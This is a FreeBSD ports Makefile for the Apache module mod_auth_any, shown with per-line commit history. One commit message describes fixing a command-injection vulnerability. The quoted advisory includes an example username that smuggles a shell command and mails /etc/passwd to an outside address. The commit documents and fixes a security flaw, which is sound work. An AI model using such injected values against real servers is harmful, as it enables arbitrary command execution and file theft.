freebsd-ports/www/mod_auth_any/Makefile

# New ports collection makefile for:	mod_auth_any
# Date created:				10 April 2001
# Whom:					will
#
# $FreeBSD$
#

PORTNAME=	mod_auth_any
PORTVERSION=	1.0.2
PORTREVISION=	1
CATEGORIES=	www
MASTER_SITES=	ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/
EXTRACT_SUFX=	.tgz

MAINTAINER=	ports@FreeBSD.org
COMMENT=	Apache module to use any command line program to authenticate a user

BUILD_DEPENDS=	${APXS}:${APACHE_PORT}
RUN_DEPENDS=	${APXS}:${APACHE_PORT}

APXS?=		${LOCALBASE}/sbin/apxs
APACHE_PORT?=	${PORTSDIR}/www/apache13

post-patch:
	@${CAT} ${FILESDIR}/bash_single_quote_escape_string.c >> \
		${WRKSRC}/${PORTNAME}.c

do-build:
	@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c

do-install:
	${APXS} -i -A -n ${PORTNAME:S/mod_//g} ${WRKSRC}/${PORTNAME}.so

.include <bsd.port.mk>
Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00			`# New ports collection makefile for: mod_auth_any`
			`# Date created: 10 April 2001`
			`# Whom: will`
			`#`
			`# $FreeBSD$`
			`#`

			`PORTNAME= mod_auth_any`
			`PORTVERSION= 1.0.2`
o Fix vulnerability that allows execution of arbitrary commands on the server with the uid of the apache process. Background [1]: "The module accepts a username and password from the web client, passes them to a user-space executable (using popen(3), which invokes a shell) and waits for a response in order to authenticate the user. The password is quoted on the popen() command line to avoid interpretation of shell special chars, but the username is not. Thus a malicious user can execute commands by supplying an appropriately crafted username. (e.g. "foo&mail me@my.home</etc/passwd") "The problem is easily fixed by adding quotes (and escaping any quotes already present) to the username and password in the popen command line." o Fix this by adding a escaping function from [2]. Then, modifying this function appropriately with ideas from [3]. Apply the new escaping code to mod_auth_any. o Bump PORTREVISION Submitted by: Security Officer (nectar), Red Hat Security Response Team <security@redhat.com> [1] Obtained from: mod_auth_any CVS [2], nalin@redhat.com [3] 2003-03-25 05:23:11 +01:00			`PORTREVISION= 1`
Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00			`CATEGORIES= www`
			`MASTER_SITES= ftp://ftp.itlab.musc.edu/pub/toolbox/mod_auth_any/`
			`EXTRACT_SUFX= .tgz`

			`MAINTAINER= ports@FreeBSD.org`
De-pkg-comment. 2003-02-20 20:21:36 +01:00			`COMMENT= Apache module to use any command line program to authenticate a user`
Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00
support appache13-modssl by defining APACHE_PORT in /etc/make.conf others variants of the apache ports can be used too. 2002-09-09 20:30:10 +02:00			`BUILD_DEPENDS= ${APXS}:${APACHE_PORT}`
			`RUN_DEPENDS= ${APXS}:${APACHE_PORT}`
Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00
			`APXS?= ${LOCALBASE}/sbin/apxs`
support appache13-modssl by defining APACHE_PORT in /etc/make.conf others variants of the apache ports can be used too. 2002-09-09 20:30:10 +02:00			`APACHE_PORT?= ${PORTSDIR}/www/apache13`
Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00
o Fix vulnerability that allows execution of arbitrary commands on the server with the uid of the apache process. Background [1]: "The module accepts a username and password from the web client, passes them to a user-space executable (using popen(3), which invokes a shell) and waits for a response in order to authenticate the user. The password is quoted on the popen() command line to avoid interpretation of shell special chars, but the username is not. Thus a malicious user can execute commands by supplying an appropriately crafted username. (e.g. "foo&mail me@my.home</etc/passwd") "The problem is easily fixed by adding quotes (and escaping any quotes already present) to the username and password in the popen command line." o Fix this by adding a escaping function from [2]. Then, modifying this function appropriately with ideas from [3]. Apply the new escaping code to mod_auth_any. o Bump PORTREVISION Submitted by: Security Officer (nectar), Red Hat Security Response Team <security@redhat.com> [1] Obtained from: mod_auth_any CVS [2], nalin@redhat.com [3] 2003-03-25 05:23:11 +01:00			`post-patch:`
			`@${CAT} ${FILESDIR}/bash_single_quote_escape_string.c >> \`
			`${WRKSRC}/${PORTNAME}.c`

Add mod_auth_any 1.0.2, an apache module to use any command line program to authenticate a user. 2001-04-11 00:28:40 +02:00			`do-build:`
			`@cd ${WRKSRC} && ${APXS} -c ${PORTNAME}.c`

			`do-install:`
			`${APXS} -i -A -n ${PORTNAME:S/mod_//g} ${WRKSRC}/${PORTNAME}.so`

			`.include <bsd.port.mk>`